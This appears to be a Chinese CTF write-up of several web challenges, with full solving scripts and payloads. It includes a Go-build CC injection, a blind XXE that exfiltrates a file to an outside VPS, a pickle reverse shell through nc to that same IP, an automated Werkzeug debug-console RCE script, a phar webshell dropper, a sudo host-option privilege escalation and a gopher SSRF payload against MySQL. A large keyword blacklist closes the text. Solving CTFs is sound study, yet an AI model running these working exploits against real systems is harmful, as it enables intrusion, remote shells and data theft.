vipGroup := r.Group("/vip")
r.Use(cors.New(cors.Config{
AllowAllOrigins: true,
AllowMethods: []string{"GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS"},
AllowHeaders: []string{"Origin", "Content-Type", "X-API-Key"},
MaxAge: 12 * time.Hour,
}))
vipGroup.Use(apiKeyMiddleware())
{
vipGroup.POST("/build", buildHandler)
}
r.Run(":8080")
}
func buildHandler(c *gin.Context) {
var req BuildRequest
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求格式"})
return
}
sourceCodePath := filepath.Join(BuildDir, "main.go")
if err := os.WriteFile(sourceCodePath, []byte(req.Code), 0644); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": "写入源代码文件失败"})
return
}
defer os.Remove(BuildDir + "/main.go")
defer os.Remove(BuildDir + "/main_executable")
defer os.RemoveAll(BuildDir + "/go-build")
defer os.RemoveAll(BuildDir + "/gopath")
var envs []string
for k, v := range req.Env {
envs = append(envs, fmt.Sprintf("%s=%s", k, v))
}
outputFileName := "main_executable"
cmd := exec.Command("go", "build", "-o", outputFileName, "main.go")
cmd.Dir = BuildDir
cmd.Env = append(os.Environ(), envs...)
output, err := cmd.CombinedOutput()
if err != nil {
c.JSON(http.StatusOK, gin.H{
"error": "编译失败",
"details": string(output),
})
return
}
c.File(filepath.Join(BuildDir, outputFileName))
}
简单看一下代码，2功能，第一个是模板注入，但是只能用GetReader，ReadAll函数，所以只有文件读取功能，另一个是将go编译，但是需要key，所以这个模板注入显然是读key
{{.Utils.ReadAll (.Utils.GetReader "/proc/self/environ")}}
{{.Utils.ReadAll (.Utils.GetReader "/app/secret_key.txt")}}
得到qrUt3cA7EyB30rkDNnroMrD9skQ2JEG8zMr
得到key后就看着go编译功能，搜一下有
N1CTF Junior 2024 Web Official Writeup - X1r0z Blog
[2024 N1CTF Junior Web Writeup - Boogiepop Doesn't Laugh](https://boogipop.com/2024/02/05/2024 N1CTF Junior Web Writeup/#MyGo)
2024N1CTF Junior的原题，打Go build 环境变量注入，确定一下GOARCH
{{.Utils.ReadAll (.Utils.GetReader "/proc/sys/kernel/osrelease")}}
然后开打（这个命令奇特的是，**false**确保编译过程失败后Go编译器会返回错误信息，错误信息中包含我们通过>&2重定向的输出，也就算命令的回显）
{
"env": {
"GOOS": "linux",
"GOARCH": "amd64",
"CGO_ENABLED": "1",
"CC": "/bin/sh -c \"ls -al / >&2; false\"",
"GOGCCFLAGS": ""
},
"code": "package main\n\n// #include <stdio.h>\n// #include <stdlib.h>\n//\n// static void myprint(char* s) {\n// printf(\"%s\\n\", s);\n// }\nimport \"C\"\nimport \"unsafe\"\n\nfunc main() {\n cs := C.CString(\"Hello from stdio\")\n C.myprint(cs)\n C.free(unsafe.Pointer(cs))\n}"
}
suid提权看看
{
"env": {
"GOOS": "linux",
"GOARCH": "amd64",
"CGO_ENABLED": "1",
"CC": "/bin/sh -c \"find / -type f -perm -4000 2>/dev/null | head -5 >&2; false\"",
"GOGCCFLAGS": ""
},
"code": "package main\n\n// #include <stdio.h>\n// #include <stdlib.h>\n//\n// static void myprint(char* s) {\n// printf(\"%s\\n\", s);\n// }\nimport \"C\"\nimport \"unsafe\"\n\nfunc main() {\n cs := C.CString(\"Hello from stdio\")\n C.myprint(cs)\n C.free(unsafe.Pointer(cs))\n}"
}
发现一个suid程序，发现无相关命令，执行这个程序
{
"env": {
"GOOS": "linux",
"GOARCH": "amd64",
"CGO_ENABLED": "1",
"CC": "/bin/sh -c \"/usr/local/bin/flagread >&2; false\"",
"GOGCCFLAGS": ""
},
"code": "package main\n\n// #include <stdio.h>\n// #include <stdlib.h>\n//\n// static void myprint(char* s) {\n// printf(\"%s\\n\", s);\n// }\nimport \"C\"\nimport \"unsafe\"\n\nfunc main() {\n cs := C.CString(\"Hello from stdio\")\n C.myprint(cs)\n C.free(unsafe.Pointer(cs))\n}"
}
最后一句，deepseek-nb
查查忆
考点：无回显xxe+iconv编码绕过waf
源码提示flag in /f1111llllaa44g
过滤了伪协议关键字与<!ENTITY，而且还无回显，无回显的话用vps外带，过滤用编码绕过，来写写poc
1.xml内容，这里我在1.dtd当前目录起了一个pyhton服务器，因为dtd必须要能公网访问到，然后vps监听5000端口
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % dtd SYSTEM "http://101.200.39.193/1.dtd">
%dtd;%code;%send;
]>1.dtd的内容，使用php://filter获取目标文件的内容，然后将内容以http请求发送到接受数据的服务器,（1.dtd内部的%号要进行实体编码成%。这里卡我半天，因为wp这里错了）
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/f1111llllaa44g">
<!ENTITY % code "<!ENTITY % send SYSTEM 'http://101.200.39.193:5000/%file;'>">接着使用编码绕过过滤（此命令lunix环境执行）
cat 1.xml | iconv -f utf-8 -t utf-7 > payload.8-7.xml然后打
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE a +AFs
+ADwAIQ-ENTITY +ACU dtd SYSTEM +ACI-http://101.200.39.193/1.dtd+ACIAPg
+ACU-dtd+ADsAJQ-code+ADsAJQ-send+ADs
+AF0APg-
ezphp
考点：取反rce+利用通配符*把第一个列出的文件名当作命令，剩下的文件名当作参数绕过字符限制
<?php
error_reporting(0);
highlight_file(__FILE__);
$code = $_GET['c1n_y0.u g3t+fl&g?'];
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("hacker!");
}
if(strlen($code)>14){
die("is tooooooooooooooooooo long!");
}
echo "Flag is in flag.php~~ (local).";
@eval($code);
?> Flag is in flag.php~~ (local).这里打无数字字母rce，还限了字符，那么肯定打取反，因为取反用的字符少，传参的话就不多说，重点看怎么构造命令，先写一个demo看看
<?php
echo urlencode('c1n[y0.u g3t+fl&g?')."\n";
echo urlencode(~'ls /');
eval(
'$_ = ~urldecode("%93%8C%DF%D0");`$_`;'
);
//传参时不用urldecode解码，浏览器会自动解，所以此时传参是$_=~%93%8C%DF%D0;`$_`;
?>
这里执行可以执行ls /,但是由于不能echo，看不到命令的回显，继续思考，上面的demo若是除去命令的字符就是
$_=~;`$_`; //一共10个字符，所以我们只能用4个字符执行命令CTF中字符长度限制下的命令执行 rce(7字符5字符4字符)汇总_ctf中字符长度限制下的命令执行 5个字符-CSDN博客
参考此文章，用到的技巧是
输入统配符 ，Linux会把第一个列出的文件名当作命令，剩下的文件名当作参数*
>cat
>flag.php
* （等同于命令：cat flag.php）<?php
echo urlencode(~'>cat');
echo urlencode(~'* >=');
//分别打$_=~%C1%9C%9E%8B;`$_`;与$_=~%D5%DF%C1%C2;`$_`;即可
?>打完flag.php就写进了=文件（由于是通配符*，所以应该是当前目录所有文件写入了=），访问/=就行
得到flag
week4
Path to Hero
<?php
highlight_file('index.php');
Class Start
{
public $ishero;
public $adventure;
public function __wakeup(){
if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
echo "<br>勇者啊，去寻找利刃吧<br>";
return $this->adventure->sword;
}
else{
echo "前方的区域以后再来探索吧！<br>";
}
}
}
class Sword
{
public $test1;
public $test2;
public $go;
public function __get($name)
{
if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
echo "沉睡的利刃被你唤醒了，是时候去讨伐魔王了！<br>";
echo $this->go;
} else {
echo "Dead";
}
}
}
class Mon3tr
{
private $result;
public $end;
public function __toString()
{
$result = new Treasure();
echo "到此为止了！魔王<br>";
if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
$result->end($this->end);
} else {
echo "难道……要输了吗？<br>";
}
return "<br>";
}
}
class Treasure
{
public function __call($name, $arg)
{
echo "结束了？<br>";
eval($arg[0]);
}
}
if (isset($_POST["HERO"])) {
unserialize($_POST["HERO"]);
}<?php
Class Start
{
public $ishero="hero1";
public $adventure;
public function __wakeup(){
if (strpos($this->ishero, "hero") !== false && $this->ishero !== "hero") {
echo "<br>勇者啊，去寻找利刃吧<br>";
return $this->adventure->sword;
}
else{
echo "前方的区域以后再来探索吧！<br>";
}
}
}
class Sword
{
public $test1="QNKCDZO";//md5弱比较
public $test2="240610708";
public $go;
public function __get($name)
{
if ($this->test1 !== $this->test2 && md5($this->test1) == md5($this->test2)) {
echo "沉睡的利刃被你唤醒了，是时候去讨伐魔王了！<br>";
echo $this->go;
} else {
echo "Dead";
}
}
}
class Mon3tr
{
private $result;
public $end;
public function __toString()
{
$result = new Treasure();
echo "到此为止了！魔王<br>";
if (!preg_match("/^cat|flag|tac|system|ls|head|tail|more|less|nl|sort|find?/i", $this->end)) {
$result->end($this->end);
} else {
echo "难道……要输了吗？<br>";
}
return "<br>";
}
}
class Treasure
{
public function __call($name, $arg)
{
echo "结束了？<br>";
eval($arg[0]);
}
}
$a=new Start();
$a->adventure=new Sword();
$a->adventure->go=new Mon3tr();
$a->adventure->go->end="readfile('/'.'fl'.'ag');";//print_r(scandir('/'));
echo urlencode(serialize($a));好像什么都能读
考点：计算pin
先读app.py
from flask import Flask, request, render_template
app = Flask(__name__)
@app.route('/')
def hello_world():
return render_template('index.html')
@app.route('/read')
def read():
# 获取请求参数中的文件名
filename = request.args.get('filename')
if not filename:
return "需要提供文件名", 400
with open(filename, 'r') as file:
content = file.read()
return content, 200
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)可以读文件，题目提示说要计算什么，debug开启了那就是计算pin码
#计算pin的必要条件
1.username 在可以任意文件读的条件下读 /etc/passwd#这里是ctf
2.modname 默认flask.app
3.appname 默认Flask
4.moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 这个待会细说,一般就生成pin码不对就是这错了
报错拿app.py的绝对路径
/home/ctf/.local/lib/python3.13/site-packages/flask/app.pyuuidnode mac地址的十进制表达
任意文件读 /sys/class/net/eth0/address
得到5a:fa:fe:00:f9:bd，去掉冒号转10进制，得到100034049800637
机器码
机器ID可能在/sys/machine-id下，如果使用docker，则需要查找/proc/sys/kernel/random/boot_id(/etc/machine-id有时候行)，得到前半段，/proc/self/cgroup得到后半段，拼接后计算。
89b34b88-6f33-4c4b-8a30-69a4ba41fd0e -> /proc/sys/kernel/random/boot_id
这里读/proc/self/cgroup啥也不是，读/proc/self/cpuset也只有/,所以应该是空
import hashlib
from itertools import chain
import time
probably_public_bits = [
'ctf' # username 可通过/etc/passwd获取
'flask.app', # modname默认值
'Flask', #默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/home/ctf/.local/lib/python3.13/site-packages/flask/app.py' # 路径 可报错得到 getattr(mod, '__file__', None)
]
private_bits = [
'100034049800637', # /sys/class/net/eth0/address mac地址十进制
# /etc/machine-id
'89b34b88-6f33-4c4b-8a30-69a4ba41fd0e'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")
得到
804-332-693
Cookie: __wzd13cb7e0bab71852cfef7=1762348323|c39381d02922接下来获取s与frm(frm如果没有报错信息的话值为0),访问/console,记得修改HOST:获取SECRET，查看源码就有了，得到BnLYMaYyEH86iKN7Uw43
然后打（记得加上cookie）
/console?__debugger__=yes&cmd=__import__(%27os%27).popen(%27cat%20/fl*%27).read()&frm=0&s=BnLYMaYyEH86iKN7Uw43
wp的一键自动化脚本
from requests import get
import hashlib
from itertools import chain
import re
# 目标主机地址
HOST = "http://challenge.ilovectf.cn:30021"
def getfile(filename):
try:
# 发送GET请求获取文件内容
response = get(f"{HOST}/read?filename={filename}")
return response.text
except Exception as e:
print(f"错误: {e}")
return None
def get_pin(probably_public_bits, private_bits):
# 使用SHA1哈希算法
h = hashlib.sha1()
# 合并公钥和私钥部分并更新哈希
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
# 如果是字符串则转为UTF-8编码的字节流
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
# 添加cookiesalt到哈希计算
h.update(b'cookiesalt')
# 生成cookie名称
cookie_name = '__wzd' + h.hexdigest()[:20]
# 计算PIN码数字部分
h.update(b'pinsalt')
# 将哈希结果转为整数并取前9位
num = ('%09d' % int(h.hexdigest(), 16))[:9]
# 格式化PIN码为分组形式（如xxxxx-xxxx-xxx）
rv = None
if rv is None:
# 尝试不同的分组大小
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
return rv
def get_secret():
# 访问控制台页面，设置Host头为127.0.0.1
response = get(f"{HOST}/console", headers={"Host": "127.0.0.1"})
# 使用正则表达式匹配SECRET值
match = re.search(r'SECRET\s*=\s*["\']([^"\']+)["\']', response.text)
if match:
return match.group(1)
return None
def authenticate(secret, pin):
# 发送认证请求
response = get(
f"{HOST}/console?__debugger__=yes&cmd=pinauth&pin={pin}&s={secret}",
headers={"Host": "127.0.0.1"}
)
# 返回设置的Cookie
return response.headers.get("Set-Cookie")
def execute_code(cookie, code, secret):
response = get(
f"{HOST}/console?__debugger__=yes&cmd={code}&frm=0&s={secret}",
headers={
"Host": "127.0.0.1",
"Cookie": cookie
}
)
return response.text
if __name__ == "__main__":
# 读取网络接口eth0的MAC地址并处理
mac = getfile("/sys/class/net/eth0/address")
# 将MAC地址转换为整数格式（去除冒号并转为十六进制整数）
mac = str(int("0x" + "".join(mac.split(":")).strip(), 16))
# 读取内核启动ID
boot_id = getfile("/proc/sys/kernel/random/boot_id").strip()
# 公钥部分（通常为默认值，可能需要根据目标环境调整）
probably_public_bits = [
'ctf', # 运行Flask的用户名
'flask.app', # 应用名称
'Flask', # 框架类名
'/home/ctf/.local/lib/python3.13/site-packages/flask/app.py' # Flask库的路径，需根据目标环境修改
]
# 私钥部分（由MAC地址和启动ID组成）
private_bits = [
mac,
boot_id
]
# 计算并打印控制台PIN码
pin = get_pin(probably_public_bits, private_bits)
print(f"找到控制台PIN码: {pin}")
# 获取SECRET值并打印
secret = get_secret()
print(f"找到SECRET值: {secret}")
# 进行认证并获取Cookie
cookie = authenticate(secret, pin)
print(f"获取到Cookie: {cookie}")
print("正在执行代码...")
# 执行命令读取flag
output = execute_code(cookie, "__import__('os').popen('cat /fl*').read()", secret)
# 打印原始执行结果
print("原始输出：", output)
flag_pattern = re.compile(r'flag\{.*?\}')
match = flag_pattern.search(output)
if match:
print("提取到的Flag：", match.group()) # 输出匹配到的flag
else:
print("未找到符合 flag{...} 格式的内容")
print("完成")关于ctf中flask算pin总结_ctf:flask-CSDN博客
这又又是什么函数
考点:pickle内存马
依旧访问src得源码
from flask import Flask, request, render_template
import pickle
import base64
app = Flask(__name__)
PICKLE_BLACKLIST = [
b'eval',
b'os',
b'x80',
b'before',
b'after',
]
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')
@app.route('/src', methods=['GET', 'POST'])q
def src():
return open(__file__, encoding="utf-8").read()
@app.route('/deser', methods=['GET', 'POST'])
def deser():
a = request.form.get('a')
q
if not a:
return "fail"
try:
decoded_data = base64.b64decode(a)
print(decoded_data)
except:
return "fail"
# 检查黑名单
for forbidden in PICKLE_BLACKLIST:
if forbidden in decoded_data:
return "waf"
try:
result = pickle.loads(decoded_data)
return "done"
except:
return "fail"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)用协议0绕过wafb'x80',无回显打反弹shell
import pickle
import base64
class Exploit:
def __reduce__(self):
import subprocess
# 使用nc反弹shell
return (subprocess.Popen, (['nc', '-e', '/bin/bash', '101.200.39.193', '5000'],))
# 使用协议 0 序列化
payload = pickle.dumps(Exploit(), protocol=0)
b64_payload = base64.b64encode(payload).decode()
print(b64_payload)发现不出网，那就打内存马，看了看过滤，只能利用error_handler_spec钩子函数，告诉了flag在根，直接opne读取就行
import pickle
import base64
import os
class A(object):
def __reduce__(self):
return (exec, ("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:open('/flag').read()",))
# 使用协议 0 序列化
payload = pickle.dumps(A(), protocol=0)
b64_payload = base64.b64encode(payload).decode()
print(b64_payload)
看了看wp，差不多
import base64
opcode = b'''cbuiltins
exec
(S'global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a: __import__('o'+'s').popen(request.args.get('0')).read()'
tR.'''
payload = base64.b64encode(opcode).decode()
print(payload)来getshell 速度!
考点：include包含phar+Linux sudo host 权限提升漏洞-[CVE-2025-32462]
<?php
error_reporting(0);
$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
'application/zip',
'application/x-bzip2',
'application/gzip',
'application/x-gzip',
'application/x-xz',
'application/x-7z-compressed',
];
function filter($tempfile)
{
$data = file_get_contents($tempfile);
if (
stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
) {
return true;
}
return false;
}
if ($_SERVER["REQUEST_METHOD"] == 'POST') {
if (is_uploaded_file($_FILES['file']['tmp_name'])) {
if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
die("Nope :<");
}
// mimetype check
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
finfo_close($finfo);
if (!in_array($mime_type, $allowed_mime_types)) {
die('unexpected mimetype');
}
// ext check
$ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));
if (!in_array($ext, $allowed_extensions)) {
die('unexpected extension');
}
if (move_uploaded_file($_FILES['file']['tmp_name'], "/tmp/" . basename($_FILES['file']['name']))) {
echo "File upload success!Please include with 'url'";
}else{
echo "fail";
}
}
}
if (isset($_GET['url'])) {
$include_url = basename($_GET['url']);
if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
die("unexpected extension");
}
include '/tmp/' . $include_url;
exit;
}
?>
<form enctype='multipart/form-data' method='post'>
<input type='file' name='file'>
<input type="submit" value="upload"></p>
</form>
一眼打include解析phar恶意文件，构造一共恶意phar，然后gz压缩绕过waf，然后上传就行
<?php
$phar = new Phar('exp.phar');
$phar->compressFiles(Phar::GZ);
$phar->startBuffering();
$stub = <<<'STUB'
<?php
$filename="/var/www/html/2.php";
$content="<?php eval(\$_POST[1]);?>";
file_put_contents($filename, $content);
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
$fp = gzopen("exp.phar.gz", 'w9');
gzwrite($fp, file_get_contents("exp.phar"));
gzclose($fp);
?>然后去url传参包含恶意phar
url=exp.phar.gz然后就可以执行命令
但是无法拿flag，那就提权
find / -user root -perm -4000 -print 2>/dev/null发现sudo提权无效
看一看sudo版本
发现可以打Linux sudo host 权限提升漏洞-[CVE-2025-32462]
具体内容为sudo版本在1.8.8 =
sudo = 1.8.32以及1.9.0 = sudo = 1.9.17时，sudo的-h( - host不是 - help)选项存在漏洞，如果
在/etc/sudoers里给用户在一个虚拟主机或无法解析的主机上配置了sudo权限，使用sudo -h host
[command]将会提权到本地。
允许www-data 在虚构的远程主机asd.asd.asd 上执行所有命令，同时确保其在本地主机无权限：www-data asd.asd.asd = NOPASSWD:ALL.然后执行
1=system('sudo -h asd.asd.asd cat /f*');
android or apple
考点：代码审计之ssrf打mysql端口服务的sql注入
题目重要的是以下代码
生成二维码的页面调用了 Auth : generateAndDisplayCode() 方法
<?php
error_reporting(0);
spl_autoload_register(function ($class_name) {
$file = __DIR__ . '/lib/' . str_replace('\\', '/', $class_name) . '.php';
if (file_exists($file)) {
require_once $file;
}
});
try {
$auth = new Auth();
$auth->generateAndDisplayCode();
} catch (Exception $e) {
header("HTTP/1.1 500 Internal Server Error");
echo "<p>服务暂时不可用，请稍后重试。</p>";
}跟进看看
<?php
class Auth {
private $logger;
private $currentUser;
public function __construct() {
$this->logger = new Logger();
$this->currentUser = new User('guest');
}
public function generateAndDisplayCode() {
$this->logger->log('User ' . $this->currentUser->getUsername() . ' requested a dynamic QR code.');
try {
$processor = new \Util\ImageProcessor();
$imageData = $processor->fetch('dynamic_qr_code');
if ($imageData) {
$this->saveAndDisplay($imageData);
} else {
throw new Exception("Retrieved empty image data from processor.");
}
} catch (Exception $e) {
$this->logger->log("Error during code generation: " . $e->getMessage(), 'ERROR');
throw $e;
}
}
private function saveAndDisplay(string $data): void {
$images_dir = __DIR__ . '/../images/';
if (!is_dir($images_dir)) @mkdir($images_dir, 0755, true);
if (!is_writable($images_dir)) {
throw new Exception("Image directory is not writable.");
}
$filename = md5(uniqid('', true)) . '.jpg';
$filepath = $images_dir . $filename;
file_put_contents($filepath, $data);
echo "<p>本次登录的验证码为：</p>";
echo "<img src=\"./images/" . htmlspecialchars($filename) . "\" alt=\"Verification Code\"/>";
}
public function loginWithPassword(string $user, string $pass): bool { return false; }
public function logout(): void {}
}发现ImageProcessor中有ssrf
<?php
namespace Util;
class ImageProcessor {
private const ALLOWED_DOMAINS = ['api.qrserver.com', 'internal.sso.service'];
public function fetch(string $imageType) {
$url = $this->getSourceUrl($imageType);
$this->securityCheck($url);
return $this->Request($url);
}
private function getSourceUrl(string $imageType): string {
if ($imageType === 'dynamic_qr_code') {
$defaultUrl = \Config::get('qr_service.default_url');
return $_SERVER['HTTP_X_VERIFY_CODE_URL'] ?? $defaultUrl;
}
return \Config::get('default_image_url');
}
private function securityCheck(string $url): void {
$host = parse_url($url, PHP_URL_HOST);
if ($host && !in_array($host, self::ALLOWED_DOMAINS)) {
(new \Logger())->log("Potential SSRF attempt to non-whitelisted domain: " . $host, 'WARNING');
}
}
private function Request(string $url) {
$parts = parse_url($url);
if (!$parts || !isset($parts['host']) || !isset($parts['scheme'])) {
return false;
}
if (in_array($parts['scheme'], ['http', 'https'])) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
if (!isset($parts['port'])) {
return false;
}
$fp = @fsockopen($parts['host'], $parts['port'], $errno, $errstr, 5);
if (!$fp) {
return false;
}
$payload = isset($parts['path']) ? urldecode(substr($parts['path'], 1)) : '';
if (!empty($payload)) {
fwrite($fp, $payload);
}
$response = '';
stream_set_timeout($fp, 5);
while (!feof($fp)) {
$response .= fread($fp, 8192);
}
fclose($fp);
return $response;
}
public function resize(string $imageData, int $width, int $height): string { return $imageData; }
public function addWatermark(string $imageData, string $text): string { return $imageData; }
}调用链是fetch->getSourceUrl->securityCheck->Request,而且securityCheck-这个函数还没啥用，不可以阻止程序，观察发现造成ssrf的地方在 $_SERVER['HTTP_X_VERIFY_CODE_URL'],而这个ssrf的结果在saveAndDisplay类中可以发现，结果写入了图片中
这里ssrf不能打file协议，因为Request方法中对非HTTP/HTTPS协议存在强制性的端口检查，而 file://协议本身不基于网络端口进行通信，那就用dict协议进行端口探测
发现有mysql服务
那就打gopher 协议+sql注入，gopher它允许直接发送原始TCP数据到MySQL端口，所有MySQL服务会正常解析sql语句并执行SQL查询。但是这里使用的是 fsockopen ，而更常见的是用 curl 来进行gopher的攻击，curl对gopher数据包的识别依赖于 _ ，fsockopen不依赖(可以看官方github库的源码)所以用gopherus生成的paylaod再去掉 _ 就可以打
python2 gopherus.py --exploit mysqlshow databases;
gopher://127.0.0.1:3306/%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%10%00%00%00%03%73%68%6f%77%20%64%61%74%61%62%61%73%65%73%3b%01%00%00%00%01 
select group_concat(table_name) from information_schema.tables where table_schema='ctf_db'
得到flag，直接打
select * from ctf_db.flagswaf?waf!
考点：利用服务器前后端对CL与TE的解析异常进行http请求走私
import socket
import threading
from urllib.parse import parse_qs, urlparse
from flask import Flask, request,render_template
import unicodedata
BLACKLIST_KEYWORDS = [
'write', 'eval', 'assert', 'read', 'exec', 'apply', 'locals', 'load_module', 'json.loads', 'urllib.request.urlopen', 'subprocess', 'threading', 'tempfile', 'run', 'yield', 'inspect', 'netrc', 'globals', 'os', 'urandom', 'register', 'breakpoint', 'environ', 'str.format_map', 'tarfile', 'traceback', 'open', 'listen', 'info_leak', 'vars', 'exec_hook',
'__import__', 'exec', 'eval', 'compile', 'open', 'input', 'raw_input', 'getattr', 'setattr', 'delattr', 'hasattr', 'globals', 'locals', 'vars', 'dir', 'help', 'license', 'copyright', 'credits', 'exit', 'quit', 'breakpoint', 'os', 'sys', 'subprocess', 'commands', 'popen', 'popen2', 'popen3', 'popen4', 'system',
'popen', 'spawn', 'fork', 'execve', 'execl', 'execle', 'execlp', 'execlpe', 'execv', 'execve', 'execvp', 'execvpe', 'startfile', 'remove', 'unlink', 'rmdir', 'mkdir', 'chdir', 'chmod', 'chown', 'rename', 'replace', 'walk', 'listdir', 'stat', 'fstat', 'lstat', 'getenv', 'putenv', 'environ', 'system',
'urandom', 'socket', 'urllib', 'urllib2', 'requests', 'http', 'ftplib', 'smtplib', 'socketserver', 'http.server', 'xmlrpc', 'jsonrpc', 'pickle', 'marshal', 'load', 'loads', 'dump', 'dumps', 'class', 'base', 'mro', '__subclasses__', '__dict__', '__globals__',
'__builtins__', '__getattribute__', '__getattr__', '__setattr__', '__delattr__', '__code__', '__closure__', '__func__', '__self__', '__module__', '__name__', '__qualname__', '__file__', '__loader__', '__spec__', '__package__', '__doc__', '__annotations__', '__kwdefaults__',
'__defaults__', '()', '[]', '{}', '.', 'lambda', 'yield', 'from', 'import', 'True.__class__', '"".__class__', '0.__class__', '().__class__', '[].__class__', '{}.__class__', 'pathlib', 'shutil', 'tempfile', 'glob', 'zipfile', 'tarfile', 'inspect', 'dis', 'types', 'imp',
'importlib', 'pkgutil', 'site', 'builtins', '__builtin__', 'main', '__main__', 'chr', 'ord', 'hex', 'oct', 'bin', 'repr', 'ascii', 'eval', 'exec', 'compile', 'memoryview', 'bytearray', 'bytes', 'str', 'int', 'float', '().__class__.__base__', '().__class__.__mro__',
'().__class__.__subclasses__', '().__class__.__init__', '().__class__.__dict__', '().__class__.__getattribute__', '().__class__.__bases__[0].__subclasses__()', 'del', 'global', 'nonlocal', 'assert', 'with', 'as', 'try', 'except', 'finally', 'raise', 'import', 'from', 'while', 'for', 'if',
'else', 'elif', 'def', 'class', 'return', 'yield', 'await', 'async', 'print', 'format', 'input', 'id', 'type', 'isinstance', 'issubclass', 'pickle.loads', 'marshal.loads', 'yaml.load', 'json.loads', 'evaljs', 'execjs', 'shell', 'run', 'call', 'check_output', 'Popen',
'check_call', 'getoutput', 'getstatusoutput', "url","config","read","sub","get",'\\x', '\\u', '\\U', '\\N', '\\', 'encode', 'decode', 'replace', 'join', 'split', 'format', 'translate', 'maketrans', 'getattr(', 'vars(', 'locals(', 'globals(', 'dir(', 'eval(', 'exec(', 'compile(', 'open(', '__import__(',
'().__', '"".__', '0.__', '().__class__(', '[].__class__(', '{}.__class__(', '_', '{', '}', '[', ']', '(', ')', '=', '<', '>', ':', ';', ',', '"', "'", '\\', '|', '`', '~', '!', '@', '#', '$', '%', '^', '&', '?',
'\n', '\r', '\t', '\f', '\v', '\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\x0b', '\x0c', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f',
'\u200b', '\u200c', '\u200d', '\u200e', '\u200f', '\u202a', '\u202b', '\u202c', '\u202d', '\u202e', '\u2060', '\u2061', '\u2062', '\u2063', '\u2064', '\ufeff', '\\x', '\\u', '\\U', '\\N{', '0x', '0o', '0b', '%', 'f"', "f'", 'b"', "b'", 'r"', "r'", ' ', '.', '__',
'#', '--', '/*', '*/', '//', ';--', ';#', '\\v', '\\t', '\\r', '\\n', '\\b', '\\a', '\\f','ev', 'ex', 'ch', 'ge', 'b6', 'un', 'co', '__b', '__g', '__s', '__d', '__m', '__c'
]
def to_halfwidth(s): //全角字符规范化：防止全角绕过
s = unicodedata.normalize('NFKC', s)
result = []
for char in s:
code = ord(char)
if 0xFF21 <= code <= 0xFF3A:
